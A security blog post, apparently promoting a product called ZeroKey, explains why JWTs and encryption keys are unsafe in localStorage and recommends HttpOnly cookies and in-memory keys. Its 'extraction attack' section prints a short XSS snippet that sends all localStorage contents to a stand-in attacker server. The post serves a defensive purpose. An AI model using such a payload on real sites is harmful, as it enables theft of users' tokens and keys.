Architecture Alert

Why You Should Never Store JWTs or Keys in localStorage

April 12, 2026
8 Min Read

Because the localStorage API is incredibly easy to use, it has become the default dumping ground for frontend state. Junior developers routinely use it to store JSON Web Tokens (JWTs), OAuth access tokens, and even symmetric encryption keys.

From a cybersecurity perspective, this is a catastrophic architectural flaw. If you are building a secure web application, treating localStorage as a secure vault is the fastest way to get your users compromised. Here is why, and what you should do instead.

The Vulnerability: Zero XSS Protection

By design, localStorage is synchronous and globally accessible to any JavaScript executing on the same domain.

If your application suffers from a single Cross-Site Scripting (XSS) vulnerability—whether through a malicious NPM package, a compromised third-party analytics script, or improper DOM sanitization—the attacker instantly has full, unhindered access to everything in local storage.

The 3-Line Extraction Attack

If an attacker can execute code on your page, this is all it takes to steal every token, key, and user preference stored in the browser and silently exfiltrate it to a remote server:

// Malicious script injected via XSS
const allLoot = JSON.stringify(window.localStorage);

// Silently send the stolen JWTs and AES keys to the attacker's server
fetch('https://evil-hacker.com/steal', {
    method: 'POST',
    body: allLoot
});

The Alternatives: Where Should Data Go?

Where you store sensitive data depends entirely on what the data is used for. You must separate your strategy into two categories: Authentication Tokens and Cryptographic Keys.

1. Authentication (JWTs & Session IDs)

If a token is only meant to prove to the backend who the user is, your frontend JavaScript does not need to read it.

Instead of sending the JWT in a JSON payload and storing it in localStorage, your backend should set it as an HttpOnly; Secure; SameSite=Strict cookie.

  • HttpOnly: Instructs the browser that JavaScript cannot access the cookie. The 3-line XSS attack above will return nothing.
  • Secure: Ensures the token is only transmitted over HTTPS.
  • The browser will automatically attach this cookie to future API requests. Your JavaScript code never touches it.

2. Cryptographic Keys (AES & Web Crypto)

In an End-to-End Encrypted (E2EE) application, the frontend JavaScript *must* have access to the decryption key to perform the local math. You cannot use HttpOnly cookies here, because the JavaScript needs the raw bytes.

The solution is Ephemeral In-Memory Storage. Keys should only exist as scoped variables (closures) inside your application's memory heap during the exact moment they are needed.

// ✅ SECURE: The key is kept strictly in memory memory
async function decryptSecurePayload() {
    // Extract key from the URL fragment (not localStorage)
    const ephemeralKeyString = window.location.hash.substring(1);
    
    // Derive the CryptoKey object
    const cryptoKey = await deriveKeyFromHash(ephemeralKeyString);
    
    // Perform the decryption
    const plaintext = await crypto.subtle.decrypt(..., cryptoKey, ...);
    
    // As soon as this function finishes executing, 'ephemeralKeyString' 
    // and 'cryptoKey' fall out of scope and are garbage collected.
    // An XSS payload executing 5 seconds later will find nothing.
    
    renderToDOM(plaintext);
}

Zero-Retention Architecture

When building ZeroKey, we adopted a strict zero-retention policy for both the backend database and the frontend browser.

If you inspect the Application tab in DevTools while using ZeroKey, you will notice localStorage, sessionStorage, and IndexedDB are completely empty. Keys live purely in the URL fragment and ephemeral memory, making offline extraction impossible.

Conclusion

Convenience is the enemy of security. While localStorage.setItem() is incredibly easy to type, it leaves your users' most sensitive data sitting in plain sight. Lock your authentication tokens in HttpOnly cookies, and keep your encryption keys floating dynamically in transient memory.